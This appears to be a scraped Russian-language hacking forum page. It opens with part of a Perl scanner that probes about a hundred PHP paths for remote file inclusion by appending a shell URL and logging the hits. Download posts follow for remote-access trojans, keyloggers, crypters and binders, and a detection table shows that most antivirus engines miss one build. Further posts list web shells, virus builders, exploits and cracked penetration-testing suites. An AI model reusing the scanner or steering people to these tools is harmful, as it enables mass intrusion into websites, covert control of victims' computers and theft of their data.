$vuln331="admin_modules/admin_module_delimage.inc.php?config[path_src_include]=";
$vuln332="admin_modules/admin_module_deldir.inc.php?config[path_src_include]=";
$vuln333="src/index_overview.inc.php?config[path_src_include]=";
$vuln334="src/index_leftnavbar.inc.php?config[path_src_include]=";
$vuln335="src/index_image.inc.php?config[path_src_include]=";
$vuln336="src/image-gd.class.php?config[path_src_include]=";
$vuln337="src/image.class.php?config[path_src_include]=";
$vuln338="src/album.class.php?config[path_src_include]=";
$vuln339="src/show_random.inc.php?config[path_src_include]=";
$vuln340="src/main.inc.php?config[path_src_include]=";
$vuln341="src/index_passwd-admin.inc.php?config[path_admin_include]=";
$vuln342="yappa-ng/src/index_overview.inc.php?config[path_src_include]=";
$vuln343="admin_modules/admin_module_captions.inc.php?config[path_src_include]=";
$vuln344="admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=";
$vuln345="admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=";
$vuln346="admin_modules/admin_module_edit.inc.php?config[path_src_include]=";
$vuln347="admin_modules/admin_module_delimage.inc.php?config[path_src_include]=";
$vuln348="admin_modules/admin_module_deldir.inc.php?config[path_src_include]=";
$vuln349="src/index_overview.inc.php?config[path_src_include]=";
$vuln350="src/image-gd.class.php?config[path_src_include]=";
$vuln351="src/image.class.php?config[image_module]=";
$vuln352="src/album.class.php?config[path_src_include]=";
$vuln353="src/show_random.inc.php?config[path_src_include]=";
$vuln353="src/main.inc.php?config[path_src_include]=";
$vuln354="includes/db_adodb.php?baseDir=";
$vuln355="includes/db_connect.php?baseDir=";
$vuln356="includes/session.php?baseDir=";
$vuln357="modules/projects/gantt.php?dPconfig[root_dir]=";
$vuln358="modules/projects/gantt2.php?dPconfig[root_dir]=";
$vuln359="modules/projects/vw_files.php?dPconfig[root_dir]=";
$vuln360="modules/admin/vw_usr_roles.php?baseDir=";
$vuln361="modules/public/calendar.php?baseDir=";
$vuln362="modules/public/date_format.php?baseDir=";
$vuln363="modules/tasks/gantt.php?baseDir=";
$vuln364="mantis/login_page.php?g_meta_include_file=";
$vuln365="phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY=";
$vuln366="modules/My_eGallery/public/displayCategory.php?basepath=";
$vuln367="dotproject/modules/files/index_table.php?root_dir=";
$vuln368="nukebrowser.php?filnavn=";
$vuln369="bug_sponsorship_list_view_inc.php?t_core_path=";
$vuln370="modules/coppermine/themes/coppercop/theme.php?THEME_DIR=";
$vuln371="modules/coppermine/themes/maze/theme.php?THEME_DIR=";
$vuln372="modules/coppermine/include/init.inc.php?CPG_M_DIR=";
$vuln373="includes/calendar.php?phpc_root_path=";
$vuln374="includes/setup.php?phpc_root_path=";
$vuln375="phpBB/admin/admin_styles.php?mode=";
$vuln376="aMember/plugins/db/mysql/mysql.inc.php?config=";
$vuln377="admin/lang.php?CMS_ADMIN_PAGE=";
$vuln378="inc/pipe.php?HCL_path=";
$vuln379="include/write.php?dir=";
$vuln380="becommunity/community/index.php?pageurl=";
$vuln381="modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=";
$vuln382="modules/mod_mainmenu.php?mosConfig_absolute_path=";
$vuln383="modules/agendax/addevent.inc.php?agendax_path=";
$vuln384="shoutbox/expanded.php?conf=";
$vuln385="modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=";
$vuln386="index.php?page=";
$vuln387="index.php?pag=";
$vuln388="index.php?include=";
$vuln389="index.php?content=";
$vuln390="index.php?cont=";
$vuln391="index.php?c=";
$vuln392="modules/My_eGallery/index.php?basepath=";
$vuln393="modules/newbb_plus/class/forumpollrenderer.php?bbPath=";
$vuln394="journal.php?m=";
$vuln395="index.php?m=";
$vuln396="links.php?c=";
$vuln397="forums.php?m=";
$vuln398="list.php?c=";
$vuln399="user.php?xoops_redirect=";
$vuln400="index.php?id=";
$vuln401="r.php?url=";
$vuln402="CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]=";
$vuln403="inc/formmail.inc.php?script_root=";
$vuln404="include/init.inc.php?G_PATH=";
$vuln405="backend/addons/links/index.php?PATH=";
$vuln406="modules/newbb_plus/class/class.forumposts.php?bbPath[path]=";
$vuln407="modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=";
$vuln408="protection.php?siteurl=";
$vuln409="htmltonuke.php?filnavn=";
$vuln410="mail_autocheck.php?pm_path=";
$vuln411="index.php?p=";
$vuln412="modules/4nAlbum/public/displayCategory.php?basepath=";
$vuln413="e107/e107_handlers/secure_img_render.php?p=";
$vuln414="include/new-visitor.inc.php?lvc_include_dir=";
$vuln415="community/modules/agendax/addevent.inc.php?agendax_path=";
$vuln416="library/editor/editor.php?root=";
$vuln417="library/lib.php?root=";
$vuln418="zentrack/index.php?configFile=";
$vuln419="pivot/modules/module_db.php?pivot_path=";
$vuln420="myPHPCalendar/admin.php?cal_dir=";
$vuln421="index.php/main.php?x=";
$vuln422="os/pointer.php?url=";
$vuln423="p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM=";
$vuln424="db.php?path_local=";
$vuln425="phpGedView/individual.php?PGV_BASE_DIRECTORY=";
$vuln426="index.php?kietu[url_hit]=";
$vuln427="phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=";
$vuln428="Sources/Packages.php?sourcedir=";
$vuln429="modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=";
$vuln430="cgi-bin//gadgets/Blog/BlogModel.php?path=";
$vuln431="Gallery/displayCategory.php?basepath=";
$vuln432="load_phplib.php?_PHPLIB[libdir]=";
$vuln433="main_prepend.php?_SERWEB[functionsdir]=";
$vuln434="load_lang.php?_SERWEB[configdir]=";



for ($i=1;$i<435;$i++)

{

$cont=vuln.$i;
chomp $cont;

print "$cont\n";

$final=$host.$$cont."$shell?";
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if ($response->is_success) {
if( $response->content =~ /$string/){
open(FILE,">>results.txt");
print FILE "$final\n";
close(FILE);
print "-------------------------------------------------\n";
print "$final\n";
print "IS VULNZ..\n";
print "-------------------------------------------------\n";
}}

}

xHacker Crypter
download

IRC IP grabber
download

Fierce Domain Scan
download

HAC Downloader
download

LORD Password Sender 2.0
download

VNC Mini-Backdoor
download

Bifrost 1.2b Private Build

Код

Antivirus Version Last Update Result
AhnLab-V3 2007.11.10.0 2007.11.09 -
AntiVir 7.6.0.34 2007.11.09 -
Authentium 4.93.8 2007.11.10 -
Avast 4.7.1074.0 2007.11.10 -
AVG 7.5.0.503 2007.11.10 -
BitDefender 7.2 2007.11.10 DeepScan:Generic.Malware.SE!dldg.24CDB148
CAT-QuickHeal 9.00 2007.11.10 -
ClamAV 0.91.2 2007.11.11 -
DrWeb 4.44.0.09170 2007.11.10 -
eSafe 7.0.15.0 2007.11.08 Suspicious File
eTrust-Vet 31.2.5284 2007.11.09 -
Ewido 4.0 2007.11.10 -
FileAdvisor 1 2007.11.11 -
Fortinet 3.11.0.0 2007.10.19 -
F-Prot 4.4.2.54 2007.11.10 -
F-Secure 6.70.13030.0 2007.11.10 -
Ikarus T3.1.1.12 2007.11.10 -
Kaspersky 7.0.0.125 2007.11.11 Heur.Invader
McAfee 5160 2007.11.09 -
Microsoft 1.3007 2007.11.11 -
NOD32v2 2651 2007.11.10 -
Norman 5.80.02 2007.11.09 -
Panda 9.0.0.4 2007.11.10 -
Prevx1 V2 2007.11.11 -
Rising 20.17.52.00 2007.11.10 -
Sophos 4.23.0 2007.11.11 -
Sunbelt 2.2.907.0 2007.11.09 -
Symantec 10 2007.11.10 -
TheHacker 6.2.9.123 2007.11.10 -
VBA32 3.12.2.4 2007.11.06 -
VirusBuster 4.3.26:9 2007.11.10 -
Webwasher-Gateway 6.0.1 2007.11.10 Win32.Malware.gen!88 (suspicious)

download

DiGi-Binder [PRIVATE]
download

Biohazard RAT 0.0.1.1 Alpha
download

DownTroj v0.1

Код

DownTroj is a trojan horse with following features:
- remote messagebox
- remote info
- remote file browser (+ download, upload, delete, make/del dir)
- remote shell
- remote task manager (+ start/kill)
- remote keylogger
- remotely reboot or shutdown system

Coded in C/C++ and also has:
- reverse connection (bypasses routers)
- more victims at the same time
- unlimited number of hosts/ports to connect to
- installing into location where its impossible to access with windows explorer
- UD startup method via registry (but not CurrentVersion\Run :p)
- task manager process hidder
- windows firewall bypass

http://rapidshare.com/files/75111294/dt3demo.rar"" target="_blank">download



d4rK_z0n3 keylogg3R
download

CODE

Trojan Horses
- Yuri RAT v1.2
- MofoTro v1.7 BETA
- Charon
- Beast v2.0.7
- Omerta v1.3
- Theef v2.10
- Combined Forces R.A.T
- MoSucker v3.0
- ProRat v1.9 Fix2
- Subseven v2.2
- Girlfriend v1.35
- Back Attack 1.8
- Turkojan v3

Keyloggers
- Elite Keylogger v1.0
- SKL v0.1
- KeySpy v2.0
- A++++
- Curiosity
- Keylogger
- KeyCopy

Binders
- Daemon Crypt Public v2
- NT Packer v2.1
- EES binder v1.0
- File Injector v3
- Bytes Adder
- FreshBind v2.01
- YAB v2.01
- NakedBind v1.0
- Amok Joiner

WebHacks/WordLists

Brute Forcers
- Munga Bunga 's Official
- Brutus - Authentication Engine Test 2
- wwwHack v1.946
- FTP Brute Hacker
- FTP Brute Forcer.tar.gz - Unix
- Wbrute.tar.gz - Unix
- Shadow Scanner-Brute Forcer
- Hackers Utility v1.5
- POP3 brute forcer - Unix

CGI-Bug Scanners
- NStealth HTTP Security Scanner v5.8
- Attack Toolkit v4.1 & source code included
- Scanarator
- Legion NetBios Scanner v2.1
- NetView v1.0
- CGI Vulnerability Scan
- CGI Scanner v4.0
- VoidEye CGI scanner

PHP Shells
- Cyper Eye 5 (asp)
- Rootshell (php)
- r57Shell (php)
- backdoor (php)
- Indexer (asp)
- NT Daddy (asp)
- NST View (php)
- REM View (php)
- C99Shell (php)
- AjanShell (asp)
- CASUS (php)

RFI & RCE
- XML-RPC Scanner & Exploiter
- PHPAttacker
- phpinjection scan exploit 2006 v2
- iis5dav scan exploit 2006 v2

SQL InjecTion & XSS TooLz
- SQLRecon
- SQLVulnscan
- Casi v4.0
- ForceSQL
- SQLPing 2
- SQL-XSS Tool
- SQL Bruteforce

Apache Hacking TooLz
- Apache Chunked Scanner
- Apache Hacker Tool v 2.0
- Apache h4x0r

Viruses
- Hippi virus
- Sasser
- W32. Blaster .Worm
- Midnight Massacre
- 00001
- Nimda
- Loveletter virus
- Happy '99
- MXZ

Virus Builders
- DR VBS
- VBSwg 2 beta - Virus builder
- p0ke's WormGen 2.0
- RESIDUO - DoS Virus

MSN Hacks & Bots
- HoaX Toolbox 1.1
- MSN Extreme 3.0
- MessenPass v1.06
- Advanced Blood Scroller
- Nudge Madness
- Advanced Instant Messengers Password Recovery
- Contact Spy
- Msn Explosion
- Encrypted Messenger

Port & IP Scanners
- Blues Port Scanner
- ProPort v2.2
- SuperScan v3.0
- Net Scan Tools v4.2
- LanSpy v2.0
- Bitchin Threads v3.1
- Trojan Hunter v1.5
- SuperScan v4.0
- Neotrace PRO v3.25 trial&crack

Nukers And Flooders
- Rocket v1.0
- RPCNuke v1.0
- Panther Mode1 - 56k
- Panther Mode2 - ISDN +
- Final Fortune v2.4
- Battle Pong - Technophoria
- Assault v1.0
- ICMP Nuker
- CLICK v2.2

Exploits
- Internet Explorer CSS Exploit
- Jpeg of death
- WMF maker
- MS04011 lsasrv.dll rpc auto hacker v2
- Windows WMF Download and Exec Exploit
- WINRAR 3.41 corrupt zip file (Proof of Concept)
- MPACK
- ICE PACK

Packers & Encrypters
- Themida
- Morphine

PsTools is a Tool Pack from sysinternals (Microsoft)

EXTRA!
- Telnet Tutorial
- The Giant Black Book of Computer Viruses
- Great Tutorials Pack
download

Dollarwarez.com acct gen
download

[Creeping Death]

Лошади

FEAR
download

Remote Format
download
download
download

RubyRAT
download
download

CIA 1.3
download

Char0n
download

Poison ivy 2.30
download

HaCkEdSs RAT
CLIENTU
download
SERVERU
download

Binder&Crypter

h4ck-y0u_Crypt[new]
download

Spider Binder 1.2
download

Binders Pack

Код

AFX Executable Binder PRO
-Amok Joiner
-Asylum Binder
-Binder
-BlackCore File Binder
-Blade Stoner 1.5
-BTS Binder
-Crucified 1.2
-Djoiner 1.3
-Deception v4.0
-Droopy Binder 1.0
-EES Binder 1.0
-exe,jpg,doc File Binder
-Exebinder v2.5
-F.B.I
-File Injector v3
-Fresh Bind
-Freshbind v2.01
-Frusion v1.0
-HelioS Binder v1.0c
-Hook Toolbox
-IDE Spinner
-Inbinder v1.0
-Interlaced II v1.00
-J-BiNdEr
-M3Byter
-MBinder
-Multi Binder 1.4.1
-MVM v1.0
-NakedBind v1.0
-Newjoin
-NG Binder Pro
-Nightwolf Binder 1.0 Alpha
-OverDoz 2
-Pretator v1.6
-Reductor 1.0b (Beta 4)
-Rephlex Binder 0.2
-SCD 1.0
-Silk Rope v2.0 (Binaries and Source)
-ToP GUI Full 2.0
-Trendy Nigger 1.0b
-X-Exe Joiner
-YAB (Yet Another Binder)

download

TheDefaced Predator v1.6
download
mirror

PI 2.1.4
download

Useless Binder
download

UnThemida v2

download

[Xeta123]

Immunity Canvas v2

Иммунитет в CANVAS предоставляет сотни подвиги, эксплуатация автоматизированной системы, и всеобъемлющей, надежной эксплуатации рамки развития тестеров для проникновения и специалистов по вопросам безопасности во всем мире.

hXXp://rapidshare.com/files/56812828/immunity_canvas-2.rar

Core Impact v4

ОСНОВНЫЕ ПОСЛЕДСТВИЯ является наиболее полным продуктом для оценки вашей организации возможности для выявления, предотвращения и реагирования на угрозы информационной безопасности. К безопасно воспроизведение реального мира нападений сетевых серверов и рабочих станций, конечных пользователей систем, и веб-приложений, IMPACT позволяет найти и устранить проблемы безопасности, прежде чем данные инциденты происходят.

hXXp://rapidshare.com/files/76874551/coreimpactv4.rar

[nikhak]

народ подскажите где взять NetScan Tools pro или manual по superscan